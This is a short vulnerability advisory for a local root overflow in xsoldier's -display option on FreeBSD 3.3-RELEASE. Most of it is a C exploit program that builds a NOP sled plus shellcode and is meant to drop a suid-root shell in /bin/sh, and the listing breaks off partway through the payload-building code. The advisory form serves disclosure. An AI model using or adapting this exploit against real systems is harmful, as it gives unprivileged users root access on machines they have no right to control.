OVERVIEW
A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root
access. This user does not have to have a valid $DISPLAY to exploit this.
BACKGROUND
Only FreeBSD 3.3-RELEASE has been tested. xsoldier, suid-root by default, was
installed as part of the X11 games packages via /stand/sysinstall.
DETAILS
More problems with FreeBSD 3.3 ports. This time with xsoldier, a suid-root
game. A simple overflow in the -display option allows any user to gain root.
Although xsoldier only runs under X, a long -display arg on the CL will allow
us to gain root.
--- xsoldierx.c ---
/*
* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier btellier@usa.net
*/
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4400;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
buildui();
if (argv[1]) {
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier@usa.net>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
for ( x = 0; x < 4325; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);